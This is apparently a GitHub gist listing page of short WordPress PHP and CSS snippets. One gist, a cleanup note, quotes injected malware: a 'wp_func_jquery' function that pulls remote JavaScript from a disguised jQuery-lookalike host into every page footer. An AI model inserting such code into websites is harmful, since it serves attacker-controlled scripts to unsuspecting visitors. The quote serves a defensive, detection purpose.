Skip to content

Instantly share code, notes, and snippets.

East Side Code EastSideCode

Block or report user

Report or block EastSideCode

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@EastSideCode
EastSideCode / functions.php
Created May 29, 2018
Remove jQuery Migrate and add async to jQuery in WordPress
View functions.php
// remove jquery migrate
add_filter( 'wp_default_scripts', 'dequeue_jquery_migrate' );
function dequeue_jquery_migrate( &$scripts){
if(!is_admin()){
$scripts->remove( 'jquery');
$scripts->add( 'jquery', false, array( 'jquery-core' ), '1.10.2' );
}
}
View blog-template.php
<h1><?php the_title(); ?></h1>
<?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;
$query = new WP_Query( array('posts_per_page' => 5, 'paged' => $paged, 'orderby'=>'date','order'=>'DESC') );
while ( $query->have_posts() ) : $query->the_post();
$hasPostThumb = '';
if (has_post_thumbnail()){
$hasPostThumb = true;
}
?>
@EastSideCode
EastSideCode / style.css
Created May 10, 2018
CSS for landing pages
View style.css
/* start langind page banner offers */
@media (min-width: 790px) {
.page-sec1 {
margin-top: 35px;
}
}
.page-sec1 {
float:left;
width:100%;
box-sizing: content-box;
@EastSideCode
EastSideCode / file.php
Created May 8, 2018
Removing queries that hack WordPress
View file.php
/*
Look for something like this
if(!function_exists('wp_func_jquery')) {
function wp_func_jquery() {
$host = 'http://';
echo(wp_remote_retrieve_body(wp_remote_get($host.'ui'.'jquery.org/jquery-1.6.3.min.js')));
}
add_action('wp_footer', 'wp_func_jquery');
@EastSideCode
EastSideCode / style.css
Last active May 7, 2018
Vertical align floating images the easy way
View style.css
.image-container {
height: 200px; /* can be whatever */
}
.image-container:before {
content: ' ';
display: inline-block;
vertical-align: middle;
height: 100%;
}
@EastSideCode
EastSideCode / functions.php
Created May 3, 2018
Edit WordPress excerpts
View functions.php
// Replaces the excerpt "Read More" text by a link
function new_excerpt_more($more) {
global $post;
return '... <a class="read-more-link" href="'. get_permalink($post->ID) . '">Read More</a>';
}
add_filter('excerpt_more', 'new_excerpt_more');
@EastSideCode
EastSideCode / page-template.php
Created May 3, 2018
Add html sitemap to pages
View page-template.php
<div class="html-sitemap">
<h2>Author(s):</h2>
<ul class="sitemap-authors">
<?php
//http://codex.wordpress.org/Function_Reference/wp_list_authors
wp_list_authors('exclude_admin=1&optioncount=1');
?>
</ul>
<h2>Pages:</h2>
@EastSideCode
EastSideCode / functions.php
Created Apr 30, 2018
For development mode, check if user is logged in
View functions.php
<?php
// for development
$developmentMode = false;
$userLoggedIn = is_user_logged_in();
$currentUser = wp_get_current_user();
if (($currentUser->user_login == "lfico") && $userLoggedIn) {
$developmentMode = true;
}
View functions.php
/*
3 steps
1. Create the meta field
2. Display is in the admin area
3. Add a save feature that checks the nonce created in the display function
*/
// add homepage meta box
@EastSideCode
EastSideCode / template-name.php
Created Apr 28, 2018
Get Featured image information in WordPress
View template-name.php
<?php $image_data = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), "thumbnail" ); ?>
<?php $image_width = $image_data[1]; ?>
You can’t perform that action at this time.